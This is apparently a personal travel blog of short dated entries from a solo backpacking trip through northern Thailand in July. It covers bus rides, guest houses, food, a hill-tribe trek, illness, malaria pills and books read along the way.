8:01PM I’ve managed to acquire a towel. It took a deal of sign language, but it looks like a shower is on for tonight. Of course, I’ve already forgotten the Thai word for “towel” he taught me.

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Waffles and Disney

The following was written 7-17, in Phitsanulok

7:46AM The sky opened up, thunder roared and lightning flashed last night, just as I had reached the safety of the floating restaurant. The storm kept me pinned on the boat for a couple of hours, but eventually died down enough for me to make a run for it without getting too wet. I made for a spot a few blocks away where earlier I had seen tuk-tuks waiting. Sure enough, one was there, and he overcharged me (as usual) for a ride back to the guest house.

I’m sitting in a cafe now, with my pack. Breakfast is a banana smoothie and waffle — though waffles here are always considered more of a dessert.

One night in Chiang Rai, there was a street vendor selling waffles. Plain — no syrup, toppings of any sort — but were they ever good. One of the best, I’d say. These aren’t that great. Taste more like microwaved Ego, really.

There are two little girls here in uniform, looking like they’re waiting to go to school. They’re both watching the Disney Channel, the commercials on which are in English, but Goofy, Mickey, and even Donald are dubbed in Thai. (I didn’t think Donald spoke even English.)

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Black Elk Speaks

The following was written 7-15, in Sukhothai

5:52PM I’ve finished Black Elk Speaks, as told through John Neihardt by Nicholas Black Elk, which I also purchased in Chiang Mai. I enjoyed the book as a history of the Lakota people and an insight into Native American spirituality, through the eyes of a Shaman and Warrior. It’s strange that a book written in 1931 can seem so new, even today.

What struck me most was Black Elk’s vivid memory of his past. He’s able to recount so many details, and has so many tales to tell. Yet after his people are slaughtered at Wounded Knee, he has nothing else to say. As if living the way of the Wasichus ended his life — all a downward spiral of no significance from there on.

Delerium

The following was written 7-14, in the Dream Cafe at Sukhothai

7:06pm I sit here, at the Dream Café. A covered porch in front of an expensive guest house in the New City.

Dimly lit, all wooden, vines growing over the front. Crescent shapes cut in the support beams with dim lights inside. Delerium playing on the stereo — appropriate music to be played in the ruined city of Thailand’s first capital, representing their golden age.

I came for the dessert — 2 scoops of vanilla ice cream 1 scoop of chocolate, bathed in chocolate syrup — but will remember the drink.

Stamina drink,” the menu said. Traditional medicine in the form of herbs and alcohol, steeped for months. Could I resist?

The taste reminded me why I dislike alcohol. A spicy, strong rum, that somehow seemed to defy gravity and sit right in my nostrils. A shock, and a cleaner, but luckily only a shot.

Will I fly? Or only levitate? Will I regain perfect sight?

Not yet.

Mosquitoes are fighting for their share.

Multiple herbal mixture formulas steeped in alcohol for several months, used in Thai medicine for protection from sickness and ailments.
  • Formula 5 Rejuvination: Nourishes eye sight, nervous system, relieves pain from bad circulation, regenerative cure for the pubis.

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Escaping the Heat through Words

The following was written 7-16, under the beating fan in my room in Phitsanulok

12:33PM In Phitsanulok now. Or something like that. I can’t figure out how to spell or pronounce it.

Perhaps I was naive, thinking I’d complete the trip with no more worries than where to throw my used toilet paper. Where I’m staying tonight, I’ve finally had to come face-to-face with the horror of an Asian squat toilet.

I suppose they’re not that bad, really. Just odd. There’s not even a pressure washer this time. Just a bucket of water. Luckily, I have a fresh roll of toilet paper with me. The strange thing is that, despite the toilet’s size, there’s only one small little hole for everything to go down, and that one little hole is the only place with water. So if you miss it, it all just kinda sits there. You have to try to wash it down with the bucket of water. And then of course it doesn’t flush, so after you get it in the hole, it all just sits there.

Doesn’t seem like the most intelligent design to me. I must be missing something.

I ordered deep fried shrimp for lunch today, but didn’t expect everything on the plate to come deep fried and battered. Deep fried asparagus? That’s just wrong.

It has been getting progressively hotter as I inch down south (though I’m still in the North). The AC on the bus from Sukhothai today was broken. It was only an hour, but by the time that was through, I was praising the 95F coolness of the open air.

Tomorrow it’s back to Bangkok. I went to buy a seat on the train, thinking that would be more comfortable and scenic than a bus, if slower. Choices with AC were limited, so I had to get on the 8:59AM train, and I’m not sure if I have a wooden seat or what. I will have to wake up early. Luckily the station is only about 3 blocks away.

The guest house here doesn’t provide a top sheet. I’ll have to break out my silk sleeping bag liner tonight.

I don’t yet know where I’ll be sleeping tomorrow, but I’m considering braving Khao San Road. I did my best to avoid it the last time I was in Bangkok. But a trip to Thailand doesn’t seem complete without at least a quick visit to the infamous ghetto.

My flight home is something like 5AM on the 19th, which means I’ll have to spend the night in the airport. Otherwise I’d have to worry about finding a guest house with an insomniac receptionist who would allow me to check out at 3AM, and then try to find a metered taxi. All unlikely.

At least I’ll have plenty of time to get through security…

Thanks to the magic of something-or-other, I think I’m due to arrive in Seattle only 5 hours later at 10AM. That is, as long as the hyperdrive isn’t busted. And Atton isn’t our pilot.

There’s only one thing I want see in Phitsanulok, and that’s a Buddha image in a Wat up north. He’s supposed to have some sort of dragon-flame-halo thing. The map makes it look to be out of walking distance in this heat, so I’m putting it off.

There are supposed to be a couple tasty boat restaurants on the river up that way. Perhaps I’ll catch a tuk-tuk up there this evening and have dinner after I visit the Wat.

There was a monk eating at the restaurant where I took lunch today. Aren’t they supposed to be, you know, begging and stuff? At least the count of nicotine addict monks is still only 1.

I hope all of you are enjoying reading this, and are thankful for my choosing to publish it. It seems most of the entries are full of my complaints. I suppose that’s the danger of traveling alone, with no one to whine to. I live the good moments as they come, and when I sit down to write, all that’s left is the bad.

There’s some good in it, I think.

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In the Shadow of Stone

The following was written 7-15, in Sukhothai Historical Park

11:30AM Fruitless, here in the shadow of ruins. Man’s labor, great civilization reclaimed by nature.

Crumbled stone returning to the womb of the Earth to become life once again.

Why keep playing?

The river is change, but endless. Coming and going.

Spirits returning to shadow, and the darkness engulfing all.

Only questions.

Looking and searching and grasping.

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Laundry

The following was written 7-15, in Sukhothai

1:30PM I’ve done the unthinkable!

Turned in a garbage bag full of clothes for actual laundry.

I cannot prance around naked, so not everything will get washed, but the clothes I wear most.

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Pop-ups, virri, and spyware

I walked to the halo Buddha’s Wat a little bit ago. It was much closer than the map made it appear. It is, I think, the most impressive Buddha I have yet to see.

Afterwards I stopped by an internet cafe I had seen while walking to the Wat. I’m hear now, in the loud room, on a computer that is getting constant pop-ups and virus warnings. A far cry from the Debian machine I had last night.

Speakeasy claims I’m getting 774k down and 364k up, but it feels much slower.

I’m almost out of time, but not looking forward to leaving the AC.

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Power Down

The following was written 7-15, in Sukhothai, partly by flashlight

7:30PM I went out to an internet cafe this evening to type up these entries, but before I could get much done, the power went out.

What worries me most is that this is the first time I’m unable to clean the computer. No cookies were deleted, no cache cleared. Though I think it will be alright. The cafe ran Debian, and if you can’t trust a Linux admin, who can you trust?

The power was out for the whole city, but walking back to the guest house, every window was lit with the glow of a candle.

It’s back on now. Was out for about 20 minutes.

My laundry isn’t dry yet, which means there’s no point in taking a shower till tomorrow. I hope I don’t sleep in and not give myself enough time to shower and pack before the 11AM check-out time.

Let’s hope the electricity remains — the prospect of a fan-less night is not appealing.

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The Bed in the Attic

The following was written 7-14, in the attic of an old lady in Sukhothai

8:30PM The bus left Chiang Mai at noon and arrived upon Sukhothai at 5:30PM. From the station, I caught a tuk-tuk to the Baan Thai Guest House. They were full, but I was told there would be a room for me tomorrow night and another solution for tonight. A home stay, she said.

And so tonight I bed down in the attic of an old lady (she must be 80) who speaks no English. The bed is quite hard, but will do.

Tomorrow I will leave the room to the spiders.

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The French

The following was written 7-16, in Phitsanulok

1:45PM Before I left for Thailand, I heard from a few people that, by the end of their trips, the Thai language got to annoy them — it’s so tonal and can sound very much like whining. That hasn’t happened to me.

But the French!

I’ve discovered that if you see another white person in Thailand, there’s something like a 97% chance that they’re French. As such, you hear the language all the time around guest houses and the tourist strips. I have no idea why, but it’s really begun to annoy me.

And it’s nothing else about the people. Sure, they’re a quirky bunch, with their attention to manners and being so proper, but it’s only the language that has grown to annoy me.

Nothing against the French. Only an observation.

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Beat

The following was written 7-13, in a windowless room in Chiang Mai.

8:54PM Back in Chiang Mai.

The bus ride over played Tears of the Sun. Bruce Willis shouldn’t be dubbed in Thai. It doesn’t work.

I must be staying in the Italian quarter of town. Pizza and other Italian restaurants abound. I found a tasty one for lunch. Homemade ice cream, too.

Even in Thailand, I’m told I look like a pirate…

Today marks day 1 of 7 that I must take Malarone out of the malaria zone.

Found another used book store and traded

    Shopping for Buddhas
for Ginsberg.

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National Anthem

The following was written 7-12 in an alley in Chiang Rai.

6:04PM Chiang Rai is one of the few cities in which the bus station is actually near the center of town. Within walking distance, even with a huge pack.

I didn’t have anything to do this evening, and ate dinner just a block away, so I decided to wander on over and buy a ticket to Chiang Mai for tomorrow.

The bus station is a noisy place, already hard to hear each other speak. As I was talking to the guy at the ticket window, this loud music started blasting. I thought to myself “Cut this horrible racket! I can barely understand this guy as it is.” The music stopped as soon as I finished at the window, and I turned around in time to see the whole station sit back down and return to business.

Oops. It was the National Anthem. Hey, at least I was standing.

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The Book of Runes

The following was written 7-12, in the garden of my Chiang Rai guest house.

3:45PM Ralph Blum’s The Book of Runes I found faded and worn, buried deep in a used book store in Chiang Mai. It is “a handbook for the use of an ancient Oracle: the Viking Runes”. It tells of their meaning and ways of their use. They are not so much a form of divination, of future telling or fairy-tale magic, but a challenge to look into yourself. By using the runes in search of an answer, you find your own interpretation and project what you already know, but perhaps do not wish to express, onto the stones. Their symbols, sounds, and arrangements seem almost arbitrary. Still, I must question it.

In The Spell of the Sensuous (which I will have to comment more on later), David Abram spends a great deal of ink on the impact of writing, particularly phonetic, with our experience of the world. He proposes that systems such as ours, where the sounds and the symbols themselves bear little to no resemblance to anything of the sensuous world, serves to cut us off from the that world — he assaults (with the alphabet, of course) this the same way Daniel Quinn assaults agriculture. Seeing the runes through these animist eyes, one wonder why they’re to be used as an oracle. Question their validity. Their symbols have no reference to the natural world, nor do their sounds. This unlike, for instance, the Hebrew aleph-beth, the first letter of which meant ox and looked like an ox. Indeed, Odin happened upon the runes one day while torturing his own body — attempting to transcend the sensuous, and thus the whole of the natural world. From my limited understanding of the runes and their origins, I must be skeptic of their use, even if it is unimportant. I would prefer a more natural gateway within.

Still, a good read. Recommended for those who are interested in a Western version of the I Ching or Tarot cards.

Bad Goes Good

The following was written 7-11, homeless in Tha Ton, not so in Chiang Rai.

6:14AM The van dropped me off in Tha Ton at about 4AM. I walked around town a little — not a challenging feat in this place — but all was closed. So I found a small little park, perhaps 20ft x 20ft, right next to the Tourist Police station. It had a couple trees that looked like they could provide rain cover, and a bench to lay on. I was able to get a little sleep before the sun came up.

Now I’m sitting on a pile of dirt across the street from the guest house I want to try, ants crawling all over me. The gate to the guest house is still closed, despite the sun being up and the city being awake.

As I said, the “mini bus” was a van. Packed with rows of seats, we were able to squeeze in 11 people, with one sitting on the stick shift. (Remember when I said I was the 15th to sign up?) Thais love to overbook. And let’s not even start on how they attempted to fit all the luggage. I think that a normal bus to Chiang Mai and then back north would have been a better deal, and more comfortable.

The guest house isn’t showing signs of waking, and a rooster felt the urge to walk up to me and start making loud, annoying noises, so I think I’ll wander around and find breakfast.

8:18AM The idea of me coming here was to spend the night and then jump on the river boat to Chiang Rai tomorrow, where from I could bus back to Chiang Mai at some point. Now I’m of the mind just to leave on the boat today — there isn’t much to hold me here. I look forward to a 3 hour float down the river.

4:14PM I’ve arrived in Chiang Rai!

Whether or not there would be a boat today was questionable. Because of gas prices, they only leave if there are 6 people. I was the first, and until just 30 minutes before the scheduled departure, there were only 5.

I seem to be getting used to sleeping on park benches, which I did all morning. The locals weren’t able to get used to seeing a scruffy, long-haired, white guy taking a nap in their park, though. I might be starting to smell… Perhaps I should bite the bullet and pay to get real laundry done?

As I was lying on the bench, three hill tribe women came up, selling their wares. Though none of us spoke a common language, we carried out a conversation for a bit. It was fun.

Today turned out to be Buddhist Lent, which meant the banks are all closed. A Swiss and her Thai boyfriend were all out of Baht, and needed to get to Chiang Rai so that the Swiss could reach her flight home. They asked me to spot them the 600 Baht for two boat tickets, which I did, and promised to pay me back when we docked at Chiang Rai — they would have a friend waiting at the pier who could pay me. To be honest, I didn’t really care if they could pay me back or not. I happened to have the Baht on me, and they needed to get to Chiang Rai. And that’s it.

In a Buddhist country, it doesn’t matter whether you believe in Karma or not. It just is.

I enjoyed the ride in the long tail boat. They sit so low that it feels like you’re skimming on water. The views (of the parts I didn’t sleep through) were wonderful. Not a road in site. Just green, green hills.

When we got to Chiang Rai, the Thai-Swiss couple’s friend was there with the money. He was a fat old man, whom I was told was a “medicine man”. I named him Bullfrog.

The couple had previously offered to drive me to any guest house I wanted, which I took them up on — a good thing, as there were no taxis waiting at the boats. We jumped in Bullfrog’s little car and zipped through town, defying every traffic law one could. Not even the Buddhist Lent Parade stopped us — we pulled right in, weaving through the monks and nuns.

They were driving down to Nan tomorrow, and offered me a free ride, but I declined. I want a couple nights in Chiang Rai before I bus south to Chiang Mai.

Now I sit in the guest house. It’s nothing much to look at, but has two strong fans and screen doors on the opposite sides of the room for bug-free ventilation.

It’s been exceptionally hot today. I look forward to a cool night in a bed — certainly superior to a night stuck in the back corner of a van, swerving to miss bumps, but still hitting them, in a sit leaning forward from the pressure of the bags behind it.

5:46PM Uh oh. Found another ice cream shop. They have something called a “chocolate trio”. That’s like, chocolate 3 times. Must be good. We’ll see.

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Banana

The ice cream was bad. My stomach regrets it. They call themselves America’s Favorite Ice Cream Parlor, too. I’ve never even heard of the guys before today…

I’m in a funky little internet cafe across the street now. They have tasty looking smoothies — I should have come here before the ice cream place and gotten one of those instead.

Somebody is taking a bunch of pictures of the place. Maybe I’ll end up in an ad somewhere.

Speakeasy says 612k down, 515k up.

I was exploring Chiang Rai earlier. Found the night market, but they were just setting up, so I wandered down here to kill a little time.

I’ve been online a lot lately. Updating daily, it seems.

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Camel and Books

The following was written 7-12, in Chiang Rai.

12:01PM There are ads for the Camel Trophy all over town. A strange spot on the globe for them.

I found a used book shop earlier. Some ex-pat’s attic, with stacks and stacks of old, dusty books. Cobwebs covering the Tao section. All it needed was a large, old leather chair, and it could be home.

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Pai Away

The following was written 7-10, waiting for my 11PM bus in Pai.

6:26PM The bakery stand reappeared a bit ago, providing me with one donut coated with sugar, and another glazed with chocolate.

It started pouring again after I bought the donuts, but I’ve taken cover in front of a general store — there’s tables and a slightly-leaky awning.

I’ve only 30 pages remaining in my book, which I’m trying to save for later. 4 hours left. There’s a stand across the street selling BBQ Pork. I’ve been contemplating crossing the street for a couple of pieces the last 20 minutes or so. Keep hoping the rain will let up. If I do get soaked, I won’t have any guaranteed place to dry off in.

A dry restaurant is a tempting place to kill a little time, but I’m not hungry enough for a full meal.

It’s funny to see Muslim women decked out in their black robes and headdresses cruising down the street on their motorcycles.

I respect them for being able to wear all that in the heat.

There is a poncho in my daypack…

I’ve seen a couple minivans with “Aya Services” plastered on the side. That’s probably my ride for tonight.

Is taking off in the dark of night, on the windy, steep roads that are surely by now wet and muddy, the greatest idea?

A guy just got on his motorcycle dressed in a shiny silver rain suit — coat and pants. He looks like a space man.

An angry mother screeched her SUV to a halt and yelled at two kids across the street at the noodle stand.

I’m not having much luck waiting the rain out.

Waiting for the words to come. Writing passes the time.

Two Aussies sit down beside me. Beer and smokes.

They ask if I’ve seen Loose Change. And if people believe it in the States.

Poncho out of the daypack. That’s a start to moving, I suppose.

8:03PM I picked up a couple sticks of pork (they’re skewered) and ventured back to the guest house seating area.

In only a few minutes I finished reading Off the Map. It’s been, I think, 3 years since I first read it. Maybe 2. I don’t know. Anyway, it deserved a re-read. Especially while on the road.

They’ve some bad 70’s disco playing here. And a TV with a dubbed American-looking movie.

And so what to do? Still 3 hours to go till the bus leaves.

Just remembered to take a Malarone.

This movie looks really bad. They’ve been desperately leading up to a sex scene with a blond bimbo for the past 10 minutes.

Oh, and the music has now changed to elevator piano-jazz.

There’s not much to do in Pai at night, but drink.

And speaking of drinking, I need to pee before getting on the bus.

I’m tired, for it being only 8PM.

The mosquitoes are chewing me up. I’m tempted to grab my pack and find somewhere else to sit.

I wonder why they chose to have an 11PM bus? Why not push it back till tomorrow? Does the van not get here till 11PM? Who knows.

They just popped a DVD into the TV. It’s got a trailer for some action flick that looks pretty intense (“The Duelist”). All I can tell is that it comes out, or comes to DVD, December 2005. But I digress. At this rate I’ll be out of paper by Tha Ton.

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Cutoff

The following was written 7-10, in the reception area at the guest house in Pai

12:10PM Whatever knocked out the power last night must have snapped a few other wires, too.

I checked out of the guest house this morning at 11:30AM, leaving my pack in the back room. The first internet cafe I stopped at said the connection was down. So I took the long way around town and had my usual lunch at the burger joint. Alaska’s cell phone wasn’t working — “no network,” it said. Across the street at the used bookstore, I browsed every English title they had. Nothing jumped out at me for a purchase, so I was gone in about 30 minutes.

Then it was back out into the heat, walking back down the street to the internet cafe I stopped at yesterday. (Or was it the day before? Yesterday, I think.) The high speed connection there was out, but they still had working, if slow, dial-up. A few minutes of that — before I had a chance to save any of the posts I was typing — the dial-up went down.

For the past hour or so I’ve been sitting here in the open but shaded reception area at the guest house, reading and sucking on pineapple juice. It catches a nice breeze.

I keep forgetting to buy more pens. Running low on paper, too. I saw a nice hand-made journal at a gift shop across from the coffee place earlier. Perhaps I’ll wander down there and buy it.

It’s still too hot to attempt a walk to the Wat outside of town — or anywhere not within a few blocks of here, without a destination promising air-con or a fan.

Think I’ll go back to reading now. Maybe the internet will be back in another hour, maybe not.

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Misty Mountain Hop

Obviously the internet is back up. I’m at an internet cafe/bar, sitting at an eMac. The keyboard is a bit stiff, making my typing funky, but at least it works. Speakeasy says 203k down and 187k up.

I walked back down to where the gift shop with the journal was, but it seemed to have vanished. I can’t find it anywhere. Was I dreaming this morning? I can still remember the feel of the paper on my fingers — it must have been real. I must make another attempt later.

I did finally go to 7-11 and buy more pens. I found some soap with Tea Tree Oil, too.

You know what else vanished? The Muslim bakery with the donuts. I wanted another donut, but no…

The clouds and the mist have crawled back over the hills, cooling down the valley. A strong wind was blowing earlier as I walked around. Could rain, but I hope not. I don’t want my already questionable bus ride to become more questionable.

Speaking of which, I wonder when we’ll arrive? I don’t think Tha Ton is more than 3 or 4 hours away. Arriving at 3AM in Bangkok is one thing, but a small town in the middle of nowhere — getting into a guest house could be a trick.

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Pineapple and Donuts

The following was written 7-9, hiding from the rain in Pai

5:48PM It’s amazing. The roof really isn’t anymore than dried leaves and it’s pouring outside, yet I’m dry in here. Or, rather, I would be dry had I not been on the other side of town when it started. Point of the matter is that those leaves really work.

On the way back across town, I stopped and bought some pineapple and, across the street, a decent donut at a Muslim bakery. I’m enjoying those now, with a Malarone. I think I’ll call this dinner — I’m not very hungry, anyway.

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Power Out, Power On

The following was written 7-9 in Pai, by a glowing green light

9:00PM Power out. One more reason to never be without a flashlight, kids.

Power on.

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Shopping for Buddhas

The following was written 7-9 in Pai.

4:36PM I should leave Pai before I run out of books.

I’ve just now finished Jeff Greenwald’s Shopping for Buddhas, which I picked up at Hobo Books in Chiang Mai. It documents the author’s time spent in Nepal, searching for the perfect Buddha statue who’s purchase would lead to enlightenment.

I enjoyed the book — sort of a Hard Travel to Sacred Places trip. Very humorous at times, and offering up ironic spiritual journeys at others. It is an accurate description of travel throughout Asia.

The Private Tour Company

The following was written 7-9 in Pai

6:55PM Pai is a lot harder place to get out of than it is to get into. The main buses only go to Mae Hong Son and back to Chiang Mai — effectively making a loop around Doi Inthanon National Park. Trouble is, I don’t want to go to either of those places. I want to head N.E. to Tha Ton.

It’s possible to hop on a Chiang Mai bound bus, get off at the juncture of highway 107, and hope for a north bound bus to come by and pick you up, but I’d rather not risk that.

It’s also possible to rent a motorbike and drive yourself to Tha Ton, but knowing the steep, windy roads around here and the way most Thais drive, I’d rather not risk that, either.

So I’ve had to resort to the bottom of the barrel, the scammiest of the scammers: a private travel company. I’ve bought a 400 Baht ticket (it would be cheaper to get a bus to Chiang Mai, and another from there all the way up to Tha Ton) on what I’m told is an air-con minibus direct to Tha Ton. When the lady was filling out the paperwork for my ticket, it looked like I was the 15th to book.

The worse part of the whole thing, though, is that the bus doesn’t leave till 11PM. Well, I’m supposed to be there 30 minutes early, so 10:30PM, but what am I to do the entire day? I checked with the front desk here at the guest house, and it’s fine if I leave my backpack here all day, but still. There’s really not much to do in Pai but lounge around the cool, covered, bungalow. I’ve been to all the shops around town, have been being satisfied with only one or two meals a day. We shall see.

I’ll save an air-con internet cafe for the heat of the day — I can kill a couple hours there. Perhaps pay a visit to the bookshop across the street from the burger place — It’ll take me a little to browse all the titles there. Perhaps in the evening I’ll try walking to the Wat outside of town.

Let’s hope I don’t have any trouble or regrets from the “bus” ride. It’ll be an experience, anyway.

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It’s hot outside, but air-con in here

I had lunch again today at the burger place. There was only one other customer in the place, an old ex-pat from San Francisco, in purple tank-top, who hadn’t been in a while, but remembered Seattle as “far out”. He spent the majority of his meal attempting to explain the concept of smoked salmon to his Thai wife.

Told me to give Pike Place his regards when I get back, “dude”.

Usually when exchanging money, I slip my bills under the window and get back a fat stack of Baht. Today, after lunch, I went to trade $100 and the guy wanted to know my name, where I was staying, who I was traveling with. He also checked each twenty to make sure it wasn’t fake. The little name tag he was wearing said “trainee”, perhaps that explains it.

By the way, fifties and hundreds get slightly better exchange rates than twenties. I’ll have to remember that.

Speakeasy tells me I’m getting 360k down and 168k up.

I thought it would be a good idea to google the side effects of Malarone, but, as usual, they seem to be every disorder under the sun. The diarrhea medicine I took before I left had a listed side effect of diarrhea. I think someone needs to go back to the drawing board for that one.

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Breezy Night

The following was written 7-8, during my first night in Pai.

9:01PM I took dinner at Amido’s Pizza Garden across the river. At almost $4, it’s the most expensive meal I’ve had yet, but tasty, and the town deserves my Baht.

(You’ll notice I’ve been avoiding Thai food since being sick. I don’t think that the food had much to do with it, but still…)

Amido couldn’t do enough to tell you how great Santana is.

He want make guitar talk to you, he make guitar talk to you. He want guitar cry, he make guitar cry.”

The breeze off the meandering river makes the nights cools here, but also welcomes mosquitoes. A couple big ones kept bugging me at dinner.

I broke my own rule and neglected to put socks on before heading out tonight. I think I’ve survived so far with no new bites, though.

Took another Malarone with dinner.

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Drugs

The following was written 7-7, during dinner in my last night in Chiang Mai.

8:47PM Took first Malarone. 35 tabs left.

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Escape

The following was written 7-8, as I sat on the bus leaving Chiang Mai.

10:14PM I got to the bus station at about 9:00AM today. The same woman as yesterday sold me a ticket for the 10:30AM bus, but this one isn’t air-con.

So I’m sitting on some bus now. Let’s hope it’s the right one. It does say Pai on the front, so, even if it isn’t the correct bus, it should get me to the right place.

I’m right underneath a fan, so it should be all right not being air-con.

The thing sure is crammed. Seats can barely fit 2 people. bags are thrown in the backseat.

They seem to be moving Thais around to make room for us Farang here in the back. There are 6 of us, so far.

I’ll be impressed if this thing makes it up the hills.

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Home

The following was written 7-7, during the night of my failed attempt to leave Chiang Mai.

5:26PM One month is at one time too short and too long. I love Thailand. I don’t have time to see half of what I want to. But I also miss my home. I am of my bio-region, its soil, its wind.

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Pai in the Sky

The following was written 7-8 upon my arrival in Pai.

3:21PM Pai seems to be a quiet, lazy town filled with with dreadlocks, Bob Marley, and shops openly accepting drug use.

Nice place.

4:30PM About 45 minutes before we arrived in Pai, the bus was stopped at some sort of checkpoint. Two policemen, hands on their hips, ready to draw, boarded the bus. They asked for all the Thai people to show ID, though didn’t care much to see the passports of us Farang.

One officer had the guy siting next to me get off the bus, and we sped away without him.

Strange.

Upon arrival in Pai, I walked up and down the main street a ways before heading down to the river for a place to stay.

I ended up in a private bungalow for 300 Baht a night, that would probably run closer to $500 a night back home. It’s got a wooden frame with bamboo walls, wooden floor, and a roof of dried leaves thatched with bamboo. Plenty of bamboo mats and back pillows to throw on the floor and on the front porch. A large glass door in the front, private bathroom in the back. And a large bed with mosquito net.

For lunch I stopped by a burger joint run by an old bush pilot from Alaska. He’s been in Thailand for 6 years. Seemed please to meet someone from relatively close to home. The burger was one of the best I’ve had, too. He imports his beef from the States. I’ll probably go back tomorrow.

Actually, he’s only the third American I’ve met on this trip.

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Siddhartha

The following was written 7-8, lounging around my bungalow.

5:47PM I’ve finished reading Hermann Hesse’s

    Siddartha
. It’s a great book, with many thoughts that need further thinking.

1200 Meters

The following was written 7-4 in a hill tribe village, somewhere in Northern Thailand.

5:36PM We climbed 1200 meters, almost straight up, during the hottest part of the day, in about 1.5-2 hours. It was hell. Within about 15 minutes I was dizzy and all my limbs were trembling.

It wasn’t the actual walk that got to me — my legs weren’t tired at all — but the heat. And dehydration.

It was worth it though, for the view. Rolling green hills wherever you look. We’ve been lounging around the village here for the past 2 hours. About 150 live here. All the buildings are bamboo. And on stilts.

I’m told dinner is elephant trunk. I think he’s joking.

There are dogs and chickens all over the village. The people grow corn to sell and rice to eat.

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Another Night in Chiang Mai

The following was written today, 7-7, during my failed attempt to leave Chiang Mai.

11:28AM Felt a lot better when I woke up this morning.

Last night at around 7PM I found the energy to get out of bed. I walked down to the 7-11 and bought water, bad chocolate chip cookies, and shampoo.

The shower this morning was nice. My hair feels somewhat normal after using the shampoo — Bronners makes my hair way too greasy.

Now I’m sitting at the bus station, with a ticket to Pai. I have no idea where I’m supposed to be, but the bus doesn’t leave till 12:30PM, so I’ve got time to figure that out.

I like Chiang Mai, but have spent far too much time here. Almost a week.

I hope I don’t start feeling sick again on the bus ride.

Last night I drank most of the water I bought, save for 4-6oz. In that I put 25 drops of Grapefruit Seed Extract and downed that. It tasted horrible, but, like I said, I feel better, so it must have worked.

1:00PM I missed the bus.

I swear the ticket said terminal 26, and everyone I asked agreed, but when I went back to the ticket window at 12:40, she said terminal 13. I guess no one but herself can read her writing. There weren’t any other buses to Pai today. I caught a tuk-tuk back to the inner-moat area and checked into another guest house for the night. Would like to get out of this city, but it looks like I’m in for another night.

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Chiang Mai Night

The following was written in Chiang Mai, the night before my trek

11:07PM I’m tired and would like to go to bed, but I want to update this before I leave on the trek tomorrow.

I went to eat at a burger stand today. Good food, and they had plenty of funny signs making fun of Bush.

After that, I walked all around the inner-moat area. I ended up stopping at 6 different used book stores, but my daypack limited me to only buying 3 books.

At 5PM I caught a tuk-tuk to a Wat in the outskirts of town for Monk Chat. A monk about my age name Song (at least I was pronounced “song” — probably spelled something like Sawng) and I chatted for close to 2 hours about Buddhism. He cleared a lot of things up for me, and confused me more on others. It was a good chat, and I’d like to go talk with him again, but he convinced me even further that Buddhism is not for me. It’s so disconnected from the natural world.

From there, I walked to the clear other side of town for the famous Chiang Mai Night Bazaar. I managed not to buy anything, save for a spicy noodle dinner, but it was an impressive event. I wonder why we don’t have things like this back home.

I came back to the guest house at about 10PM and have spent the last hour packing. Trying to decide what to bring, what to leave here in my backpack, what to place in the sealed envelope. I’m leaving my passport, license, credit and debit cards here, along with most of my cash, but taking copies of the aforementioned and a little cash with me. I hope I won’t have any trouble leaving my valuables here. They’ve been fine here in my room, and will tomorrow will be locked away in a more secure location, but it still worries me.

I’m leaving my camera here, but will bring a journal with me (not this one — a waterproof one).

Off to bed.

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Fever

The following was written 7-6 in Chiang Mai.

2:35PM Woke up this morning feeling sick.

Been on the toilet a lot. Would like to vomit, but can’t.

They moved me to a new room at 12. Sleeping ever since.

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Killing Time

Speakeasy tells me I’m getting 232k down and 194k up. Slow, but this is one of the nicer cafes I’ve been in. Cheap, too.

I don’t know what I’ll do the rest of the day. Probably just read a book.

Teerapong Gunshum left their Google Talk logged in.

Looks like trouble at Critical Mass. The Seattle ride rarely makes news.

And a new Patrolling has been released! That will have to wait till I get back.

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Kristi’s

The following was written 7-3 in Chiang Mai.

12:44PM I got into Kristi House last night around 9:30PM. The front desk must close early because only the after-hours security guard was there. He spoke very little English, but managed to get me a room.

I can’t say I’m very impressed with the place. It’s more of a hotel than a guest house. The rooms are very plain and impersonal. I didn’t think of this at the time, but I probably shouldn’t have taken guest house advice from a smoker. Smoking is allowed in all the rooms here. But that doesn’t bother me — if it weren’t for the ashtray and sign that asks you not throw butts out the window, I probably wouldn’t know. What bothers me is the smell of the horrible strongly scented cleaner they must use to mask the smoke.

But for 200 Baht, it’s a very good deal. I have a queen size bed and a private bathroom.

After checking in last night I headed down the block to the Sunday Night Market, a seemingly endless row of craft vendors. Had I not been limited by the space in my backpack, it would be incredibly hard to hold on to my Baht. As it was, I just feasted on a variety of food and fresh-squeezed juices.

I seem to have lucked out in location. There are excellent restaurants all over the place. I’ll be putting on some weight here.

Today for breakfast I had a sort of noodle soup with chicken and vegetables. They also had chocolate milk shakes, so I indulged, even though I should be avoiding dairy.

This morning I signed up for a trek. 1,100 Baht for 2 days, 1 night. Elephant riding, white-water rafting, bamboo rafting, hill-tribes, and all of that. We leave tomorrow at 9:30AM. (Tomorrow is the 4th of July? It seems it was just the 1st yesterday.) I chose the short trek because I think I’ll be doing more of them as my journey continues.

After I get back from the Trek, I think I’ll spend one more night in Chiang Mai (not at Kristi). Then I’m considering following the “Northern Loop” itinerary in Lonely Planet till I get distracted and decide to break off.

One thing I’ve decided for sure that I want to do is stay at the Akha Hill House, a remotely located guest house run by the Akha tribes people. It sound like a nice place to stay and do little for a few days, plus they organize overnight stays in the surrounding jungle with guides who build huts and cook with bamboo. It’ll be like a Ray Mears TV show… kinda.

I’m enjoying Chiang Mai. It’s much calmer than Bangkok, and less smelly. It’s just as hot in the day, but a little cooler at night. Surprisingly, there’s an incredible amount of Farang here. Much more so than Bangkok. You can’t walk a block without seeing another white person.

The architecture of the Wats is very cool — sort of a Buddhist spin on Ronan from Lord of the Rings — but they’re small and all rather similar, so there’s little sight seeing to do here in that department.

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Trek

The following was written 7-5 in Chiang Mai

6:48PM Where to start?

We spent the rest of the evening at the village playing cards and being impressed by Jungle Boy’s (one of the guides) magic tricks. That’s the only name he would give us, by the way. Jungle Boy. He deserved it.

The bed was a bit hard that night — just a blanket on the bamboo floor. They also provided another couple blankets and mosquito nets.

I’m all chewed up now. Not from the night, but the earlier evening.

I think I forgot to mention dinner. It was rice, curry, vegetables, and mystery meat (white, but had more flavor than chicken). And pineapple. Lots of pineapple. Given today and yesterday, I’ve probably eaten my weight in pineapple.

This morning they fed us breakfast of hard-boiled eggs, toast, and tea.

We started walking again at about 11AM. It was rather cool and misty (not to mention down hill), so was much easier than yesterday. The English girl had trouble with the slope — she slipped and fell a lot. I did once.

